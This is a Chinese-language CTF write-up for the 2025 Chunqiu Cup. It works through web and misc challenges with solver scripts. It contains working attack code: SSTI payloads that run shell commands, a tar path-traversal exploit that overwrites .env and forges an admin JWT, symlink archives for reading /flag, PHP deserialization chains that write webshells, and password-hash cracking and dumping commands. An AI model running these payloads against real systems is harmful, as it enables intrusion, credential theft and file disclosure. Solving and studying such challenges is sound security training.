25春秋杯wp
春秋杯
图片不显示的去我blog找👇
25春秋杯 | DDL'S BLOG
文章所有内容部分来自自己写的,部分来自各路非公开wp,部分来自公开wp(附上链接,在文章末尾)
easy_flask
{ {().__class__.__mro__.__getitem__(1).__subclasses__()[133].__init__.__globals__['popen']('cat+flag').read()}}
{ {[].__class__.__base__.__subclasses__()[394]('cat /app/flag',shell=True,stdout=-1).communicate()[0].strip()}}
copy
https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
python3 filters_chain_oracle_exploit.py --target http://eci-2ze17shnva9hcdar8b2n.cloudeci1.ichunqiu.com --file '/flag' --parameter path
思路是对的,跑不出来
Gotar
漏洞分析,追踪upload控制器,最下边的extractTar调用了extractDir,
分析调用,extractDir、extractSymlink、extractFile三个函数都调用了outputPath
可以构造恶意路径如:exp/../exp.txt 经过outputPath函数处理后,最终路径位../exp.txt 实现目录遍历漏洞👇
mkdir exp echo "hack" > exp/secret.txt tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/secret.txt```
login里面有重新加载env的代码,直接用·
import jwt import datetime import os import tarfile import sys import requests import random import string def generate_random_string(length): letters = string.ascii_letters + string.digits return ''.join(random.choice(letters) for i in range(length)) def send_request(session, method, path, data=None, files=None, headers=None): url = f"http://{session.url}{path}" response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'}) return response def generate_jwt(user_id, is_admin, jwt_key): expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24) claims = { 'UserID': user_id, 'IsAdmin': is_admin, 'exp': expiration_time } token = jwt.encode(claims, jwt_key, algorithm='HS256') return token def create_malicious_tar(): # Create the directory and .env file os.makedirs('exp', exist_ok=True) with open('exp/.env', 'w') as f: f.write("JWT_SECRET=hack") # Create the tar file with the path traversal with tarfile.open('hack.tar', 'w') as tar: tar.add('exp/.env', arcname='exp/../../../.env') def exp(url, token): payload = "echo `cat /flag` > /var/www/html/public/flag.txt" session = requests.Session() session.url = url random_string = generate_random_string(4) user_data = { "username": random_string, "password": random_string } response1 = send_request(session, 'POST', '/register', data=user_data) if response1.status_code != 200: return "Failed to register" response2 = send_request(session, 'POST', '/login', data=user_data) if response2.status_code != 200: return "Failed to login" with open('hack.tar', 'rb') as f: files = {'file': f} response3 = send_request(session, 'POST', '/upload', files=files) if response3.status_code != 200: return "Failed to upload malicious tar file" print("Malicious tar file uploaded successfully") # 触发加载环境变量 send_request(session, 'GET', '/login') headers = { 'Cookie': f'token={token}' } response4 = send_request(session, 'GET', '/download/1', headers=headers) return response4.text if __name__ == "__main__": create_malicious_tar() print("Malicious tar file created: hack.tar") jwt_key = "hack" user_id = 1 is_admin = True token = generate_jwt(user_id, is_admin, jwt_key) print("Generated JWT:", token) URL = sys.argv[1] flag = exp(URL, token) print(flag)
挣扎了一下还是算了,go语言不会,粘个*LAMENTXU* *WRITEUP*
直接看核心逻辑解压了tar文件之后可以直接访问。一眼顶针软连接 ln -sf /flag flag tar cf flag.tar ../../flag 提交,访问/assets/extracted/flag即可(我感觉这个像是非预期) 另一种解法是读取env里的jwt密钥伪造admin用户出 ln -sf ../../../.env 2/envlink tar -cvf 3.tar 2/envlink 打包传上去,访问拿到jwt_secret,伪造1admin为true即可 Jwt:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySUQiOjEsIklzQWRtaW4iOnRydWUsImV4cCI6MTczNzE4ODA1Mn0.FRDw-GypUzmiA1QxYShpGNpiQEjZAhZz19GQGJFgYms flag{b1f79e3a-12f5-46d5-9574-d09068a3ecca}
easy_ser
源码
听说pop挺好玩的 <?php //error_reporting(0); function PassWAF1($data){ $BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv"); foreach ($BlackList as $value) { if (preg_match("/" . $value . "/im", $data)) { return true; } } return false; } function PassWAF2($str){ $output = ''; $count = 0; foreach (str_split($str, 16) as $v) { $hex_string = implode(' ', str_split(bin2hex($v), 4)); $ascii_string = ''; foreach (str_split($v) as $c) { $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c); } $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string); $count += 16; } return $output; } function PassWAF3($data){ $BlackList = array("\.\.", "\/"); foreach ($BlackList as $value) { if (preg_match("/" . $value . "/im", $data)) { return true; } } return false; } function Base64Decode($s){ $decodeStr = base64_decode($s); if (is_bool($decodeStr)) { echo "gg"; exit(-1); } return $decodeStr; } class STU{ public $stu; public function __construct($stu){ $this->stu = $stu; } public function __invoke(){ echo $this->stu; } } class SDU{ public $Dazhuan; public function __wakeup(){ $Dazhuan = $this->Dazhuan; $Dazhuan(); } } class CTF{ public $hackman; public $filename; public function __toString(){ $data = Base64Decode($this->hackman); $filename = $this->filename; if (PassWAF1($data)) { echo "so dirty"; return; } if (PassWAF3($filename)) { echo "just so so?"; return; } file_put_contents($filename, PassWAF2($data)); echo "hack?"; return "really!"; } public function __destruct(){ echo "bye"; } } $give = $_POST['data']; if (isset($_POST['data'])) { unserialize($give); } else { echo "<center>听说pop挺好玩的</center>"; highlight_file(__FILE__); }
代码分析
-
waf1是个过滤关键字
-
waf2坏在一句话上,这就得保证代码在16字符以内
-
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
-
sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string)
:格式化输出当前处理的数据:-
%08x
:以 8 位十六进制格式输出$count
,并在前面补充零。用于显示当前行的字节偏移量。 -
%-40s
:输出十六进制字符串$hex_string
,并确保它的宽度为 40 个字符,左对齐。 -
%-16s
:输出 ASCII 字符串$ascii_string
,并确保它的宽度为 16 个字符,左对齐。 -
\n
:每行末尾添加换行符。
-
-
-
waf3就过滤俩字符
-
..和/
-
所以目的就是写文件,写个读取根目录flag的文件出来,保证码的内容16个字符以内
脚本
<?php class STU{ public $stu; } class SDU{ public $Dazhuan; } class CTF{ public $hackman; public $filename; } $c=new CTF(); $c->filename="a.php"; $c->hackman="PD89YGNhdCAvZipgOw=="; $b=new STU(); $a=new SDU(); $b->stu=$c; $a->Dazhuan=$b; echo serialize($a);
easy_code
6.66999999999999999999999999999999999999999e2 = 667.00000000000000000000000000000000000000000。 在浮点数表示中,667.000... 会被自动四舍五入为 667,即去除多余的小数部分。
Hackbar里设置cookie为pass=admin Include那里使用php://filter配合convert.iconv修改字符集使用 file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
python jail
import base64 from random import randint with open("flag", "r") as f: flag = f.read() BOX = [randint(1, 9999) for _ in range(624)] print("Give me your solve:") user_input = input().strip() try: user_code = base64.b64decode(user_input).decode() except Exception: print("Invalid base64 input") exit(1) assert len(user_code) <= 121, "Input exceeds maximum allowed length" exec_globals = {"__builtins__": None} exec_locals = {} try: exec(user_code, exec_globals, exec_locals) except Exception: print("Error") exit(1) s = exec_locals.get("s", None) if s == BOX: print(flag) else: print("Incorrect")
book
留个
<?php class Book { public $id; public $title; public $author; public $summary; public $reader; } class Reader { public function __construct($location) { $this->location = $location; } public function getLocation() { return $this->location; } private $location; public function getContent() { return file_get_contents($this->location); } public function setContent($content) { file_put_contents($this->location, $content); } } $book = new Book(); $book->id = 'kengwang_aura'; $book->title = 'test'; $book->author = 'test'; $partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"'; $partB = 'Reader'; $partC = 'location";s:14:"books/shel.php";}};'; $payload = $partA . "\x00" . $partB . "\x00" . $partC; $length = strlen($partA) + strlen($partB) + strlen($partC) + 2; echo "[+] Payload length: " . $length . "\n"; $book->summary = str_repeat('\'', $length) . $payload; $book->reader = new Reader('books/' . 'abc'); function waf($data) { return str_replace("'", "\\'", $data); } echo "[+] Summary: "; echo urlencode($book->summary); $res = waf(serialize($book)); echo "\n[+] Serialized payload: "; echo base64_encode($res); echo "\n"; $newBook = unserialize($res); echo "[+] Location: "; echo $newBook->reader->getLocation();
misc
简单算数
# 给定的加密字符串 encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b" # 尝试不同的密钥 for key in range(256): # 遍历所有256个可能的字节值 decrypted_str = ''.join(chr(ord(c) ^ key) for c in encrypted_str) print(f"Key: {key} -> {decrypted_str}")
或者
# 加密字符串和目标flag(假设目标flag是CTF{...}的形式) encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b" target_flag = "flag" # 假设flag是'flag' # 将目标flag和加密字符串的每个字符转换为ASCII值 encrypted_ascii = [ord(c) for c in encrypted_str] flag_ascii = [ord(c) for c in target_flag] # 找到密钥(通过目标flag字符的异或操作得到密钥) key = [encrypted_ascii[i] ^ flag_ascii[i] for i in range(len(target_flag))] # 打印密钥,密钥字符 print("密钥的ASCII值:", key) print("密钥对应的字符:", ''.join(chr(k) for k in key)) # 使用密钥解密加密字符串 decrypted = ''.join(chr(encrypted_ascii[i] ^ key[i % len(key)]) for i in range(len(encrypted_str))) print("解密后的字符串:", decrypted)
See anything in these pics?
在线阅读Aztec条码
放随波涿流跑一下直接出(改长宽
flag{opium_00pium}
通往哈希的旅程
hashcat -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
flag{18876011645}
法二
https://www.somd5.com/
直接去这里面查
小hash
flag{game_cqb_isis_cxyz}
简单镜像提取
flag{E7A10C15E26AA5750070EF756AAA1F7C}
压缩包
import zipfile import os import base64 import re def read_password_file(password_file): """读取并解码密码文件""" with open(password_file, 'r') as f: content = f.read().strip() # Base64解码 decoded = base64.b64decode(content).decode() return decoded def extract_zip(zip_path, password): """解压zip文件并返回解压出的zip文件路径(如果存在)""" dir_name = os.path.dirname(zip_path) with zipfile.ZipFile(zip_path) as zf: zf.extractall(path=dir_name, pwd=password.encode()) extracted_files = zf.namelist() # 查找解压出的zip文件 for file in extracted_files: if file.endswith('.zip'): return os.path.join(dir_name, file) return None def collect_all_passwords(start_zip): """收集所有解压过程中的密码""" current_zip = start_zip passwords = [] processed_files = set() while current_zip and os.path.exists(current_zip): if current_zip in processed_files: print(f"警告:发现重复的zip文件 {current_zip},停止处理") break processed_files.add(current_zip) # 从文件名中提取数字 current_number = re.search(r'(\d+)', os.path.basename(current_zip)).group(1) password_file = f'password_{current_number}.txt' if not os.path.exists(password_file): print(f"密码文件 {password_file} 不存在,停止处理") break print(f"处理: {current_zip}") print(f"使用密码文件: {password_file}") try: password = read_password_file(password_file) passwords.append(password) print(f"解码后的密码: {password[:20]}...") # 只显示前20个字符 # 解压文件 next_zip = extract_zip(current_zip, password) if next_zip: print(f"发现新的zip文件: {next_zip}") current_zip = next_zip else: print("未找到更多的zip文件,处理完成!") break except Exception as e: print(f"处理出错: {str(e)}") break return passwords def clean_password(password): """清理密码中的非十六进制字符""" return ''.join(c for c in password if c in '0123456789ABCDEFabcdef') def create_png_from_passwords(passwords, output_file="flag.png"): """从密码列表创建PNG文件""" # 反转密码列表(因为需要从最后一个开始) passwords = passwords[::-1] # 清理并组合所有密码 cleaned_hex = '' found_png_header = False for password in passwords: cleaned = clean_password(password) if '89504E47' in cleaned.upper(): print("找到PNG文件头") found_png_header = True if found_png_header: cleaned_hex += cleaned print(f"处理后的十六进制数据长度: {len(cleaned_hex)}") try: # 确保长度是偶数 if len(cleaned_hex) % 2 != 0: cleaned_hex = cleaned_hex[:-1] # 转换为二进制数据 binary_data = bytes.fromhex(cleaned_hex) # 写入PNG文件 with open(output_file, "wb") as f: f.write(binary_data) print(f"成功创建PNG文件: {output_file}") return True except Exception as e: print(f"创建PNG文件时出错: {str(e)}") return False def main(): """主函数,执行完整的处理流程""" # 起始文件 start_zip = "zip_98.zip" print("步骤1: 开始收集所有密码...") passwords = collect_all_passwords(start_zip) if not passwords: print("未收集到任何密码!") return print(f"\n步骤2: 共收集到 {len(passwords)} 个密码") print("\n步骤3: 开始生成PNG文件...") if create_png_from_passwords(passwords): print("\n处理完成!请查看生成的flag.png文件") else: print("\n生成PNG文件失败!") if __name__ == "__main__": main()
ez_forensics
语法 python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan|grep zip 查文件 python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan -Q XXXX -D . 提取文件 python2 vol.py -f ezforensics.raw --profile=Win7SP1x64 hashdump 查hash
findme
参考
官方1
https://mp.weixin.qq.com/s/IhJiiZKWtp1wS7qAIZer-A
官方2
https://mp.weixin.qq.com/s/xUNRwOoYWRfNm5iZ1RKeKw